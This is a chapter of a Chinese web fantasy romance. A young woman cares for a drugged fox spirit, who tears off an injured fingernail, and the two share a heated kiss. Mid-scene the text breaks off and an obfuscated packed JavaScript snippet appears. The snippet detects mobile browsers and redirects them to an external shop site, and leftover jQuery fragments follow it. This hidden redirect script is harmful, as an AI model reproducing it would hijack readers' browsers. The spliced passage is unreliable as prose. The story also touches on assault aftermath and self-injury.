98. 缠吻与欲

作品:《逐鉴

    灶房热水掺了少量的盐和糖,等放温后再一点一滴给纯狐卿喂进嘴里。


    宁野刻意做了电解质水,也不知道对狐狸有没有用。


    他神智不清,拉着她胡乱呢喃,内容是什么宁野一句没听清,倒是听清难受二字。


    汗液大量泌出,纯狐卿整个人跟从水里捞出来那般,衣裳紧紧贴在身上。


    “我,帮你把外衫脱了?”宁野犹豫问道。


    他不回答,半阖双眸,盯着某一处不断说胡话。


    黑眸褪去,露出原本那双异色眼瞳。长发与眉睫的黑色也慢慢褪色,恢复成银白。耳朵尾巴放出,整只狐狸都湿淋淋的。


    宁野半跪起身,先是解下他的腰带。她原以为纯狐卿只是吃太多清凉丸难受。


    可当她双手触碰到他领口时,看着恍惚的狐狸忽然睁开双眸,眼中带了杀意,他歇斯底里大吼:“别碰我!”


    最后一字已带哽咽之音。


    他吼完,神智似乎恢复一瞬的清明。


    宁野双手抬起,目光却不由自主放在他脖颈处的吻痕,胸口的划痕还有血淋淋的手指上。


    似有一只手在她胸口狠狠揪了一下。


    她抬起手,安抚他:“我不碰你,不碰。”


    纯狐卿安静下来,定定凝视她,两缕水光从他红透的眼尾淌下,流入发中,他沙哑着嗓音,抬起手去碰她。


    宁野连忙抓住他的手,头一回体会到心疼人是什么滋味,她感觉自己眼睛也有点发热,却硬生生忍住,温和地问:“我在这,你要什么?”


    “阿野……”他轻声呢喃,“我想回家。”


    回他的洞府,回他的温泉,回到他无忧无虑的狐族地盘,和一堆毛茸茸在一起。


    他再也不嫌小辈愚笨,长辈整天神叨叨边修炼边因突破不了境界到处发疯。


    不嫌祭司整天捡些五颜六色的小瓶子装那些稀奇古怪的药汁。


    不嫌门前那棵树妖说话半遮半掩,总劝他学占卜却总是教一半留一半。


    他只是……想家……


    宁野微微一愣难以言喻的酸涩涌上心头。


    她勉强笑笑:“那等你好了以后就回家好不好?”


    “不好,不好……”他流泪流得更凶了,“不好……任务未完成,祭司长老不会让我回去。我要是回去,你们怎么办?不会有仙人来帮你们,只有我,只剩我,镜子里的人只有我能看到。换作其他仙人,他若有私欲你们怎么办?阿野,人间很好,我每过百年都会来人间,我不想你们的家被魔族侵蚀,也不想再有那么多战争……”


    宁野撇过头,忍下泪意。


    他的愿望,也是无数人的愿望。


    谁愿战争频繁,流离失所?


    谁愿魔族侵扰,终日迁移?


    至此。


    宁野总算理解赤狐祭司说的那句话。


    你需要他。


    不仅她需要他。


    开鉴需要他。


    还有成千上万的人需要他。


    不会有仙人帮助凡人,他们忙着修炼飞升。欲念过重,人人皆有私心,仙人也不例外,还有谁会来帮他们?


    好不容易忍下,宁野试试碗里的水温,拭去他眼角泪水,笑着说:“好啦,别想这么多,我们快得手了不是吗?你流了这么多汗,喝点水补充下。”


    纯狐卿却捂住嘴,宁野一看,立刻起身把木桶拿过来。


    果然,纯狐卿迫不及待趴在木桶边缘,把脸埋进去,吐出大口清水。


    宁野半撑着他,心疼地给他顺背。


    都说心疼男人是倒霉的开始,这是只狐狸……


    应该不会倒霉吧?


    想着想着,宁野恨不得给自己两巴掌清醒清醒。


    都什么时候,还想这玩意!


    她望着药物副作用下的狐狸,银发尾巴被汗打湿,变成一绺一绺的,不复之前的蓬松柔软,惨兮兮地垂落。


    好不容易喘匀气息,纯狐卿狼狈跌回地铺,总算清醒许多。口脂洗去,他虚弱得唇色惨白:“你,你能不能出去下?我想换衣服。”


    “……好。”宁野连忙提上木桶出门。


    门被关上。


    纯狐卿轻轻呼气。


    他艰难坐起,剥去自己身上的衣衫。


    被魔物吓出心理阴影,到现在都未平复。


    他爬到镜子前,看到铜镜中自己脖颈处,锁骨之间俱是蛇蝎魔头留下的吻痕。


    纯狐卿恨地捶桌,手指头传来剧痛。


    他这才想起自己手上还有伤,忍着痛,剥下只余一丝皮肉连接的一枚指甲。鲜血淌下,滴入深色衣摆。


    平日里最怕痛的狐狸此时却一声不吭,冷汗涔涔。


    十指连心,剥甲之痛堪比酷刑。


    他抱着自己的手,止不住颤抖,像有人拿烙铁夹子不断松开又夹紧指头,又似狱卒拿着烧红的铁锤一下又一下捶在指骨上。


    屋外。


    宁野脚步声传来,停在房门前,敲了敲。


    纯狐卿痛得说不出话。


    “纯狐卿?”她站在门外,没有听到动静,“我进来了?”


    “等,等一下。”


    他声音不大对,宁野干脆推门进去。


    第一眼看到的就是鲜血淋漓的指头,一片指甲丢在桌上,沾着一小块碎肉。


    纯狐卿慌忙放下,要用袖子遮住。


    宁野两步跨来,抓住他的手:“之前你受伤时用的药还有没有?”


    他气息紊乱:“在我床头。”


    她去翻找期间,纯狐卿在自己尾巴里抓下一团毛,变出新衣换上。


    等宁野找到那瓶药,回过身来看到他已拢好衣领。


    “药剩得不多。”她说,蹲下身拨开木塞,往里挖出膏药。


    纯狐卿知道,弱声道:“嗯,出去后……我再让他们送些来。”


    冰凉药膏抹到伤处,疼得他一激灵。


    宁野死死按住,干净利落给他上完药,然后缠上干净白布。


    “脖子上……要吗?”担心他想起不好的回忆,宁野到底没说的太明白。


    他听到她的问话,脸色瞬间苍白,眸中杀意与屈辱涌动。


    好半晌。


    才轻轻“嗯”一声。


    宁野这才敢靠近,挖出一指药膏,轻轻点在吻痕上。


    冰凉触及肌肤,慢慢抹开。


    衣领微微掀起,却未扯得太过。


    纯狐卿低眸望去。


    熏香效果自出花楼后减退不少,却依旧有残余。


    他望着她眼中不带任何欲望,澄澈又明亮,比他见过放在他身上的目光都要来得干净。


    屈辱恶心感被她小心翼翼的举动驱散不少,他缓缓靠近她,用没有受伤的手抓住她的手肘处。


    宁野动作一顿,抬眼看到他眼底深处暗藏着的汹涌欲色。


    心跳顿时加快。


    小鹿撞在胸口,撞得胸膛砰砰响。


    她想起前两次梦境,朦朦胧胧却又十分熟悉。


    他秾丽容颜在她眼中不断放大,清晰到可以看清他脸上的小痣,浓密的眼睫……


    距离不足一寸时,他蓦地停止,哑着嗓音问:“可以吗?”


    可以吗?


    宁野紧张地低下双眼不敢看他,结果视线往下,看到他未拢严实的衣领下又大又白的……咳。


    种族天赋真是不可小觑,明明平时没怎么见他锻炼,该有的是一个不少。


    天生尤物。


    她在那胡思乱想,眼睛乱瞟。


    纯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445527|129838||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    狐卿等不到她回答,一咬牙,双手撑在地上扑上去。


    亲都亲过了!


    再亲一次怎么了!


    他破罐子破摔。


    宁野心里的小鹿因着他这举动都快撞死了。


    这是她第一次在清醒时和他亲吻不说,死狐狸还咬人。


    他亲得笨拙又青涩,虎牙磨在她的唇上,细细密密的疼痛传来,她还没吭声,纯狐卿感受不到她的回应,委屈地哼哼。


    宁野从他稀烂的吻技中顿悟出一件事:死狐狸不知道使了什么法子勾引她,前两次梦境九成九是真的!


    纯狐卿急得乱蹭,鼻尖点在她脸上,像猫在乱闻乱嗅。


    她不忍心再晾着他,拉起撑在她身边那只受伤的手仔细护好,另一只手穿过他的发丝抵达后颈处轻轻托住。


    “闭上眼。”


    纯狐卿听话地阖上眼,长而卷的睫毛扫在她脸上,痒乎乎的,似一把小刷子挠在她心口。


    “张嘴。”


    他被亲得浑身发热,听话地微微张开。


    温热轻勾住他微凉,绞缠间水声靡靡。


    纯狐卿呼吸声渐重,他哀求地将全身重量倾倒在她身上。


    宁野背靠梳妆矮柜,怕他乱来伤到受伤的手指,捏住他手掌放在柜脚旁。


    博览黄书加小视频,又天天跟程曜混在一起,哪能不知道纯狐卿在想些什么。


    但现在未免进展太快了!


    她微微分开两人,安抚他:“现在不行。”


    “我想……”


    “想也不行。”


    纯狐卿被她勾出欲望,哪能就此罢休。


    亲着缠着,一双异色眼眸湿漉漉地望着她,充满渴望。


    他要是用这种眼神看那三个魔头,保准被吃干抹净。


    宁野叹口气:“不行。”


    狐耳耷拉下来,他可怜巴巴盯着她:“我好难受,你帮帮我,嗯?”


    脑袋在她脖子间使劲蹭,又是咬又是亲她的耳垂脖子,企图在她身上点火。


    “真的不行。”她掐住他的下巴。


    纯狐卿不满地看她,眼睛不自觉往她那看,没有任何反应。他终于没忍住:“宁野,我一直想问,你是不是不行?”


    他没问得太直白,问对方是不是天阉。


    宁野一愣,憋笑,一本正经承认:“嗯,不行,你没发现,我没长胡子吗?”


    她故意逗他。


    纯狐卿欲求不满,立刻提出解决方案:“那你躺下,我来。”


    啊?


    啊?!


    不是,他还真打算今天就上她?


    不论用哪种方法?


    正在此时,楼下传来动静。


    宁野慌忙要推开他。


    纯狐卿却死活不动,执着地看着她,眼中小火苗熊熊燃烧。


    “下次,下次一定。”宁野轻轻在他耳边吐出一句话。


    纯狐卿羞得满脸通红,骂道:“下流!无耻!臭流氓!”


    房门“啪”一声打开。


    银黑狐带着兽医出现,嚎道:“少主!”


    结果屋内情形并不如他想象那样。


    本以为奄奄一息的少主半压在宁野身上,咬牙切齿看着他。


    场面多少有点香艳。


    兽医默默捏一把胡须:“你看,我就说没多大事吧。年轻妖,该做就做,别太禁欲,我观你家少主没多大事儿,就是需要发泄下。”


    银黑狐迅速甩上门。


    真是造孽。


    他就不该不听兽医的话,非得把妖请来。


    屋内。


    气氛尴尬又旖旎。


    纯狐卿面红耳热:“你,你听到了?刚刚你说要做的事,现在,可以吧?”


    “……”